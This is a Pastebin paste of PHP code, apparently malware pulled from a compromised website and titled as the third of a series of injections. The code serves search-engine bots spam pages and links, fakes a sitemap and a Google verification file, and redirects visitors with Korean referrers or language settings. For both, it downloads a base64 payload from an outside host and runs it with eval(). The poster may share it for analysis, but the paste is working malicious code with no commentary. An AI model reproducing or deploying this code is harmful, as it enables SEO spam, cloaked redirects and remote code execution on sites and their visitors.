API tools faq
paste
fabiomb

Inyección 3 - Código accesible

fabiomb
Jul 29th, 2019
970
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.36 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. function _get_temp_dir_mass() {
  3.     if (function_exists("sys_get_temp_dir")) {
  4.         if (@is_writeable(sys_get_temp_dir()) && @is_readable(sys_get_temp_dir())) {
  5.             return (realpath(sys_get_temp_dir()));
  6.         }
  7.     }
  8.     if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"])) && @is_readable($_ENV["TMP"])) {
  9.         return (realpath($_ENV["TMP"]));
  10.     }
  11.     if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"])) && @is_readable($_ENV["TMPDIR"])) {
  12.         return (realpath($_ENV["TMPDIR"]));
  13.     }
  14.     if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"])) && @is_readable($_ENV["TEMP"])) {
  15.         return (realpath($_ENV["TEMP"]));
  16.     }
  17.     $tempfile = @tempnam(__FILE__, "");
  18.     if (@file_exists($tempfile)) {
  19.         @unlink($tempfile);
  20.         if (@is_writeable(realpath(dirname($tempfile))) && @is_readable(realpath(dirname($tempfile)))) {
  21.             return (realpath(dirname($tempfile)));
  22.         }
  23.     }
  24.     if (@is_writeable(realpath(@ini_get("upload_tmp_dir"))) && @is_readable(realpath(@ini_get("upload_tmp_dir")))) {
  25.         return (realpath(@ini_get("upload_tmp_dir")));
  26.     }
  27.     if (@is_writeable(realpath(session_save_path())) && @is_readable(realpath(session_save_path()))) {
  28.         return (realpath(session_save_path()));
  29.     }
  30.     if (@is_writeable(realpath(dirname(__FILE__))) && @is_readable(realpath(dirname(__FILE__)))) {
  31.         return (realpath(dirname(__FILE__)));
  32.     }
  33. }
  34. function isBot() {
  35.     return (isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawl|spider|mediapartners|slurp|patrol/i', $_SERVER['HTTP_USER_AGENT']));
  36. }
  37. function hashCode($str) {
  38.     if (empty($str)) return '';
  39.     $mdv = md5($str);
  40.     $mdv1 = substr($mdv, 0, 16);
  41.     $mdv2 = substr($mdv, 16, 16);
  42.     $crc1 = abs(crc32($mdv1));
  43.     $crc2 = abs(crc32($mdv2));
  44.     return substr(bcmul($crc1, $crc2), 0, 8);
  45. }
  46. function rand_str($len = - 1) {
  47.     if ($len = - 1) {
  48.         $len = mt_rand(13, 25);
  49.     }
  50.     $str = null;
  51.     $strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz-_-_/";
  52.     $max = strlen($strPol) - 1;
  53.     for ($i = 0;$i < $len;$i++) {
  54.         $str.= $strPol[mt_rand(0, $max) ];
  55.     }
  56.     $str.= '.';
  57.     $len = mt_rand(3, 5);
  58.     $strPol = "abcdefghijklmnopqrstuvwxyz";
  59.     $max = strlen($strPol) - 1;
  60.     for ($i = 0;$i < $len;$i++) {
  61.         $str.= $strPol[mt_rand(0, $max) ];
  62.     }
  63.     return $str;
  64. }
  65. function _http_get($url) {
  66.     $_html = '';
  67.     if (function_exists('file_get_contents')) {
  68.         $_html = @file_get_contents($url);
  69.     }
  70.     if ($_html == '' && function_exists('curl_init')) {
  71.         $ch = curl_init();
  72.         curl_setopt($ch, CURLOPT_URL, $url);
  73.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  74.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
  75.         $_html = curl_exec($ch);
  76.         curl_close($ch);
  77.     }
  78.     if ($_html == '' && function_exists('fopen')) {
  79.         $handle = fopen($url, "rb");
  80.         do {
  81.             $data = fread($handle, 8192);
  82.             if (strlen($data) == 0) {
  83.                 break;
  84.             }
  85.             $_html.= $data;
  86.         } while (true);
  87.         fclose($handle);
  88.     }
  89.     return $_html;
  90. }
  91. function _local_host() {
  92.     $status = false;
  93.     if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
  94.         $status = true;
  95.     } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') {
  96.         $status = true;
  97.     }
  98.     $http = $status ? 'https://' : 'http://';
  99.     $host = $http . $_SERVER['SERVER_NAME'];
  100.     if ($_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443) {
  101.         $host.= ":" . $_SERVER['SERVER_PORT'];
  102.     }
  103.     return $host;
  104. }
  105. function _get_cache($link) {
  106.     $tmpdir = _get_temp_dir_mass();
  107.     $file = $tmpdir . '/sess_' . md5($link);
  108.     $html = @file_get_contents($file);
  109.     if (!file_exists($file) || (isset($_GET['update']) && $_GET['update'] == '19131421') || !stristr($html, "->|") || !stristr($html, "|<-") || time() - filemtime($file) > 60 * 60 * 24) {
  110.         $html = _http_get($link);
  111.         if ($fp = @fopen($file, 'w')) {
  112.             fwrite($fp, $html);
  113.             fclose($fp);
  114.         } else {
  115.             return $html;
  116.         }
  117.     }
  118.     return ($html);
  119. }
  120. function _local_url() {
  121.     $url = _local_host() . $_SERVER['REQUEST_URI'];
  122.     return $url;
  123. }
  124. function _base_url() {
  125.     $local_host = _local_host();
  126.     $request_url = str_ireplace('//', '/', str_ireplace('\\', '/', $_SERVER['REQUEST_URI']));
  127.     $request_scr = $_SERVER['SCRIPT_NAME'];
  128.     $script_name = basename($request_scr);
  129.     $script_path = str_ireplace('\\', '/', dirname($request_scr));
  130.     if (stristr($request_url, $script_name)) {
  131.         return $local_host . $request_scr . '/';
  132.     }
  133.     if (strtolower($script_name) == 'index.php' && ($request_url == $script_path || $request_url == $script_path . '/')) {
  134.         return $local_host . $request_scr . '/';
  135.     }
  136.     return $local_host . $script_path;
  137. }
  138. function _get_between($input, $start, $end) {
  139.     $substr = substr($input, strlen($start) + strpos($input, $start), (strlen($input) - strpos($input, $end)) * (-1));
  140.     return $substr;
  141. }
  142. function content_process($content, $Data_arr, $search = false) {
  143.     global $local_url;
  144.     global $base;
  145.     $content = str_ireplace('[time]', date("Y-m-d-H-i", time()), $content);
  146.     foreach ($Data_arr as $k => $v) {
  147.         $p = strpos($content, '[' . $k . 'x]');
  148.         while ($p !== false) {
  149.             $content = substr_replace($content, $v[mt_rand(0, count($v) - 1) ], $p, strlen('[' . $k . 'x]'));
  150.             $p = strpos($content, '[' . $k . 'x]');
  151.         }
  152.         for ($i = 1;$i <= 20;$i++) {
  153.             if (strpos($content, '[' . $k . $i . ']') !== false) {
  154.                 if ($search) {
  155.                     $content = str_ireplace('[' . $k . $i . ']', $v[mt_rand(0, count($v) - 1) ], $content);
  156.                 } else {
  157.                     $content = str_ireplace('[' . $k . $i . ']', _get_static_arr($local_url . $k . $i . $i, $v), $content);
  158.                 }
  159.             } else {
  160.                 break;
  161.             }
  162.         }
  163.         for ($i = 1;$i <= 20;$i++) {
  164.             if (strpos($content, '[' . $k . 'l' . $i . ']') !== false || strpos($content, '[' . $k . 'r' . $i . ']') !== false) {
  165.                 if ($search) {
  166.                     $arr_b = explode('|', $v[mt_rand(0, count($v) - 1) ]);
  167.                 } else {
  168.                     $arr_b = explode('|', _get_static_arr($local_url . $k . $i . $i, $v));
  169.                 }
  170.                 if (count($arr_b) > 1) {
  171.                     $content = str_ireplace('[' . $k . 'l' . $i . ']', $arr_b[0], $content);
  172.                     $content = str_ireplace('[' . $k . 'r' . $i . ']', $arr_b[1], $content);
  173.                 }
  174.             } else {
  175.                 break;
  176.             }
  177.         }
  178.     }
  179.     $p = strpos($content, '[ahref]');
  180.     while ($p !== false) {
  181.         if (mt_rand(0, 1) == 0) {
  182.             $hurl = $base . rand_str() . "." . rand_str(mt_rand(3, 4));
  183.         } else {
  184.             $hurl = $base . date("Y-m-d", time()) . "_" . rand_str() . "." . rand_str(mt_rand(3, 4));
  185.         }
  186.         if (isset($Data_arr['area'])) {
  187.             $htitle = $Data_arr['area'][mt_rand(0, count($Data_arr['area']) - 1) ];
  188.         }
  189.         if (isset($Data_arr['keyword'])) {
  190.             $htitle.= $Data_arr['keyword'][mt_rand(0, count($Data_arr['keyword']) - 1) ];
  191.         }
  192.         $content = substr_replace($content, "<a href=\"" . $hurl . "\">" . $htitle . "</a>", $p, strlen('[ahref]'));
  193.         $p = strpos($content, '[ahref]');
  194.     }
  195.     return $content;
  196. }
  197. if (strpos($_SERVER['REQUEST_URI'], 'sitemap.xml') !== false) {
  198.     $base_url = _base_url();
  199.     $res = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<urlset xmlns=\"http://www.google.com/schemas/sitemap/0.84\">\r\n";
  200.     for ($i = 0;$i < 100;$i++) {
  201.         if (mt_rand(0, 1) == 0) {
  202.             $url = $base_url . rand_str() . "." . rand_str(mt_rand(3, 4));
  203.         } else {
  204.             $url = $base_url . date("Y-m-d", time()) . "_" . rand_str() . "." . rand_str(mt_rand(3, 4));
  205.         }
  206.         $res.= " <url>\r\n  <loc>" . $url . "</loc>\r\n   <lastmod>" . date("Y-m-d", time()) . "</lastmod>\r\n   <changefreq>daily</changefreq>\r\n   <priority>0.9</priority>\r\n </url>\r\n";
  207.     }
  208.     $res.= "</urlset>";
  209.     header("Content-type:text/xml");
  210.     die($res);
  211. }
  212. if (strpos(strtolower($_SERVER['REQUEST_URI']), "google005f7bf3c458d252.html") !== false) {
  213.     die('google-site-verification: google005f7bf3c458d252.html');
  214. }
  215. if (strpos(strtolower(@$_SERVER['HTTP_REFERER']), ".kr") !== false || strpos(strtolower(@$_SERVER['HTTP_ACCEPT_LANGUAGE']), "ko") !== false) {
  216.     $local_url = _local_url();
  217.     $html = base64_decode(_get_between(_get_cache('http://opm.sm79.xyz/api.php?g=gitt'), "->|", "|<-"));
  218.     eval($html);
  219.     $Data_arr = _get_static_arr($local_url . 'Data_arr', $Main_arr["data"]);
  220.     $sc_arr = explode('|', _get_static_arr($local_url . "sitel1", $Data_arr['site']));
  221.     die('<!DOCTYPE html><html><body><script>document.location=("' . @trim($sc_arr[0]) . '");</script></body></html>');
  222. }
  223. function _get_static_arr($str, $arr) {
  224.     return ($arr[hashCode($str) % count($arr) ]);
  225. }
  226. if (isBot()) {
  227.     $base = _base_url();
  228.     $local_url = _local_url();
  229.     $html = base64_decode(_get_between(_get_cache('http://opm.sm79.xyz/api.php?g=gitt'), "->|", "|<-"));
  230.     eval($html);
  231.     $Data_arr = _get_static_arr($local_url . 'Data_arr', $Main_arr["data"]);
  232.     $Data_arr = array_merge($Data_arr, $Main_arr["common"]);
  233.     $git = $Main_arr["git"];
  234.     $html_m = base64_decode(_get_between(_get_cache($git . (hashCode(_local_url()) % 500 + 1) . '.txt'), "->|", "|<-"));
  235.     $html_m = content_process($html_m, $Data_arr);
  236.     $s = strpos($html_m, '[search]');
  237.     while ($s !== false) {
  238.         $seed = rand_str();
  239.         $content = content_process($Main_arr["search"]["rule"][mt_rand(0, count($Main_arr["search"]["rule"]) - 1) ], $Data_arr, true);
  240.         $hurl = str_ireplace('[content]', urlencode($content), $Main_arr["search"]["data"][mt_rand(0, count($Main_arr["search"]["data"]) - 1) ]);
  241.         $html_m = substr_replace($html_m, "<a href=\"" . $hurl . "\">" . $content . "</a>", $s, strlen('[search]'));
  242.         $s = strpos($html_m, '[search]');
  243.     }
  244.     die($html_m);
  245. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!